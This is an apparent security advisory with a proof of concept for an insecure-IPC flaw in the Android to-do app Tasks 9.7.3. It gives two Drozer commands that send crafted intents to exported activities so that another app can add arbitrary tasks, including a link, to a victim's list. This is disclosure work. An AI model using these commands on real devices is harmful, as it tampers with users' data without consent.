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Tasks 9.7.3 Insecure Permissions

Tasks 9.7.3 Insecure Permissions
Posted Feb 15, 2021
Authored by Lyhin's Lab

Tasks version 9.7.3 suffers from an insecure permissions vulnerability.

tags | exploit
SHA-256 | 34474c1341eac6f136ec7254f9ed8fbb18fedc8d01a19c336a68c726d9b5ee48

Tasks 9.7.3 Insecure Permissions

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# Exploit Title: Tasks 9.7.3 - Insecure Permissions
# Date: 18th of July, 2020
# Exploit Author: Lyhin's Lab
# Detailed Bug Description: https://lyhinslab.org/index.php/2020/07/18/how-the-white-box-hacking-works-ok-google-i-wanna-pwn-this-app/
# Vendor Homepage: https://tasks.org/
# Software Link: https://github.com/tasks/tasks
# Version: 9.7.3
# Tested on: Android 9

Any installed application on a victim's phone can add arbitrary tasks to users through insecure IPC handling.
A malicious application has several ways of how to achieve that:

1. By sending multiple intents to ShareLink activity (com/todoroo/astrid/activity/ShareLinkActivity.java). Tasks application adds the first requested "task" to the user's task list.

2. By sending an intent to VoiceCommand activity (org/tasks/voice/VoiceCommandActivity.java). The application does not validate intent's origin, so any application can append tasks to the user's task list.

We used the Drozer application to emulate malicious app activity. Please find the commands below.

run app.activity.start --component org.tasks.debug com.todoroo.astrid.activity.ShareLinkActivity --action=android.intent.action.PROCESS_TEXT --extra string android.intent.extra.PROCESS_TEXT "Kill Mufasa"
run app.activity.start --component org.tasks.debug org.tasks.voice.VoiceCommandActivity --action=com.google.android.gm.action.AUTO_SEND --extra string android.intent.extra.TEXT "Visit https://lyhinslab.org"

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